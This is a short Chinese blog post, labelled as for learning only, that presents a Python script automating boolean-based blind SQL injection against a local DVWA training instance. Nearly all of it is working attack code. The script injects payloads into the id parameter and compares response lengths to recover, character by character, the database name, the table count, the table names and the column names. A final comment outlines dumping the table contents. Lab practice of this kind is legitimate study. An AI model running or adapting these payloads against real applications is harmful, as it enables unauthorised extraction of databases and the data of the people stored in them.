python dvwa布尔盲注自动化脚本(level=low)

 仅供学习代码参考
1
#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id=" 6 token={"security":"low","PHPSESSID":"p7g937ga5glcvg8m5hv9o9a2ht"} #登录身份识别 7 COLUMN_NUM=11 8 COLUMN_LEN=15 9 dbLen=0 10 dbname='' 11 table_num=0 12 table=[] 13 table_name='' #暂存用 14 column=[] 15 column_name=''#暂存用 16 rightLen=0 17 18 time_start=time.time() 19 url=INIT_URL+"1&Submit=Submit#" 20 rightLen=len(requests.get(url=url,cookies=token).text) 21 print("正常返回文本长度:"+str(rightLen)) 22 #1.猜解数据库名长度 poc:" 1'and (select length(database()))="+str(dbLen)#" 23 while True: 24 dbLen +=1 25 dbUrl=INIT_URL+"1'and (select length(database()))="+str(dbLen)+"%23&Submit=Submit#" 26 print(dbUrl) 27 if len(requests.get(url=dbUrl,cookies=token).text)==rightLen: 28 print("数据库长度:"+str(dbLen)) 29 break 30 #2.猜解数据库名字 poc:" 1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1#" 31 for i in range(1,dbLen+1): 32 for j in string.ascii_lowercase: 33 dbnameUrl=INIT_URL+"1'and(select mid(database(),"+str(i)+",1)='"+j+"')=1%23&Submit=Submit#" 34 print(dbnameUrl) 35 if len(requests.get(url=dbnameUrl,cookies=token).text)==rightLen: 36 dbname+=j 37 break 38 39 print("数据库名字:"+dbname) 40 41 #3.猜解数据库表数量 poc:" 1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)#" 42 43 for i in range(100): 44 dbUrl=INIT_URL+"1'and (select count(table_name) from information_schema.tables where table_schema='"+dbname+"')="+str(i)+"%23&Submit=Submit#" 45 print(dbUrl) 46 if len(requests.get(dbUrl,cookies=token).text)==rightLen: 47 print("表数量"+str(i)) 48 table_num=i 49 break 50 51 #4.猜解表名 poc:" 1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)))=103# 52 53 for i in range(table_num): 54 for k in range(COLUMN_LEN): 55 for j in range(48,123): 56 dbUrl=INIT_URL+"1'and (select ascii(substr((select table_name from information_schema.tables where table_schema='"+dbname+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#" 57 print(dbUrl) 58 if len(requests.get(dbUrl,cookies=token).text)==rightLen: 59 table_name+=chr(j) 60 print(table_name) 61 break 62 table.append(table_name) 63 table_name='' 64 print("表名:"+str(table)) 65 66 67 68 #5.猜解列名 poc :" 1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1),1,1)))=i 69 70 71 for m in range(table_num): 72 for i in range(COLUMN_NUM): 73 for k in range(COLUMN_LEN): 74 for j in range(48,123): 75 dbUrl=INIT_URL+"1'and (select ascii(substr((select column_name from information_schema.columns where table_schema='"+dbname+"'and table_name='"+table[m]+"' limit "+str(i)+",1),"+str(k)+",1)))="+str(j)+"%23&Submit=Submit#" 76 print(dbUrl) 77 if len(requests.get(dbUrl,cookies=token).text)==rightLen: 78 column_name+=chr(j) 79 print(column_name) 80 break 81 column_name+='/' 82 column.append(column_name) 83 column_name='' 84 print("列名:"+str(column)) 85 86 time_end=time.time() 87 print('用时:',time_end-time_start,'s') 88 print("正常返回文本长度:"+str(rightLen)) 89 print("数据库长度:"+str(dbLen)) 90 print("数据库名字:"+dbname) 91 print("表数量"+str(i)) 92 print("表名:"+str(table)) 93 print("列名:"+str(column)) 94 #6.拖库 poc: 1'and (select ascii(substr((select column[i] from dbname.table[j] limit 0,1),1,1)))=i 95 #具体列具体猜解,全部猜解时间太高


 

发表于 2020-11-18 19:38  阿木真  阅读(0)  评论(0编辑  收藏
 

分类:

技术点: